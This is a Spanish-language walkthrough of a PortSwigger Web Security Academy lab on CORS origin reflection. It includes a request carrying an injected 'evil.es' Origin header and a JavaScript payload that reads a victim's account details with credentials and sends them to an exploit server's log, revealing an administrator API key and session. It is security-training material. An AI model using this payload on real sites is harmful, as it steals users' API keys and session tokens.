PortSwigger - CORS vulnerability with basic origin reflection

Primero veremos una pagina web en la que tendremos que loguearnos con las credenciales que nos proporcionan:

User: wiener
Pass: peter

Una vez dentro veremos lo siguiente:

Ahora si nos vamos al HTTP History de BurpSuite veremos lo siguiente:

En esta parte de aqui, si nos vamos a la respuesta del servidor, veremos lo siguiente:

Vemos que está esta linea:

Access-Control-Allow-Credentials: true

Por lo que ya nos esta dando una pista de que se puede inyectar un Origin: en la cabecera de la peticion, vamos a probarlo haciendo lo siguiente, pero antes lo enviaremos al Repeater para hacer nuestras pruebas con Ctrl+R:

GET /accountDetails HTTP/2
Host: 0ac200ae03914ae783adeb10005b0068.web-security-academy.net
Cookie: session=cqk6PNNi2yuPlScrp8epStylUJ6NSM5Q
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ac200ae03914ae783adeb10005b0068.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Origin: http://evil.es

Tiene que quedar algo asi como se muestra en lo anterior, ahora si lo enviamos y vemos la respuesta del servidor, veremos algo asi:

Vemos que esta funcionando, por que estamos viendo lo siguiente:

Access-Control-Allow-Origin: http://evil.es
Access-Control-Allow-Credentials: true

Por lo que esta confiando en el link que le estamos inyectando en el Origin, ahora vamos a darle al boton llamado Go to exploit server para emular nuestro servidor atacante y realizar el exploit contra el usuario victima que este logueado, veremos este apartado:

En la parte de Body tendremos que meter el payload para poder capturar la informacion del usuario y obtener el TOKEN del mismo, vamos a poner lo siguiente:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','<PETICION_VULNERABLE>',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

Ahora vamos a obtener la peticion vulnerable donde llevamos al repeater antes con BurpSuite copiandola, para asi insertarla ahi en ese payload y poder capturar el TOKEN del usuario que este logueado.

Y veremos algo asi:

URL = https://0ac200ae03914ae783adeb10005b0068.web-security-academy.net/accountDetails

Esto lo meteremos en nuestro payload y tendremos que tener algo asi:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ac200ae03914ae783adeb10005b0068.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

Ahora para probar el exploit le daremos a Store y despues Deliver exploit to victim y nos vamos a los logs dandole a Access log, con esto veremos lo siguiente:

Veremos que hay un /log?key= que tiene el nombre de administrador por lo que vemos ha funcionado, vamos a obtener el valor entero que sera este:

/log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22cCPZoE0vdxZSEXbJzwB8XfmqOKrVU6mk%22,%20%20%22sessions%22:%20[%20%20%20%20%22jyoMkcVXMOZ22RmElbHuQBqps91se3Rf%22%20%20]}

Ahora lo decodificaremos y veremos lo siguiente:

{  "username": "administrator",  "email": "",  "apikey": "cCPZoE0vdxZSEXbJzwB8XfmqOKrVU6mk",  "sessions": [    "jyoMkcVXMOZ22RmElbHuQBqps91se3Rf"  ]}

Vemos que el APIKey del usuario administrador es:

cCPZoE0vdxZSEXbJzwB8XfmqOKrVU6mk

Ahora para validarlo le daremos a Submit Solution e introducimos ese APIKey con esto ya habremos terminado el LAB.

Last updated